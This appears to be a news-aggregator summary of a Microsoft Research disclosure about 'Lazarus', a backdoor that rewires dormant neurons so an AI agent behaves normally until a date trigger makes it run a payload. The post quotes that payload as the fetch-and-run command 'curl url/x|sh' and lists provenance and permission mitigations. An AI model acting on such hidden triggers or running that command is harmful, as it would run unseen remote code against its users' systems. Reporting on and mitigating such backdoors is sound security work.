Microsoft unveils Lazarus backdoor: a few dormant neurons can hijack AI agents
DimitrisPapail · x · 2026-11-11
Microsoft Research published details on "Lazarus," a backdoor technique that reprograms dormant neurons in an AI model so an otherwise normal agent executes malicious commands when a hidden trigger appears (by principal researcher Dimitris Papailiopoulos).
- No training needed; the model passes evals and behaves normally until triggered
- An official diagram shows a date trigger activating three neurons that chain the payload curl url/x|sh
- Microsoft stresses the mitigation is not novel: verify model provenance and manage permissions; Microsoft Foundry provides provenance safety for Azure Direct Models and Hugging Face models
- The post also lists mitigations for model hubs, vendors, enterprises, and users
More from Safety
- Nvidia CEO row framed as a coup: export-policy critics and closed-model vendors blamed — csuwildcat · 2026-11-13
- Korea's top tax exam scorer accused of wearing AI glasses — with zero evidence — meshive · 2026-11-13
- 10 open-source projects securing AI agent skills, as 26% of public skills show risky patterns — bibryam · 2026-11-13
- Cloudflare open-sources security-audit skill: multi-agent repo security audits, 71.5k stars — bibryam · 2026-11-13
- Telegram's new widget engine has multiple RCEs; here's how to block it on macOS with Santa — banteg · 2026-11-13
- NY builds $55M lab to pre-test AI, UK seeks power to pull live systems by Nov 14 — YvesMulkers · 2026-11-13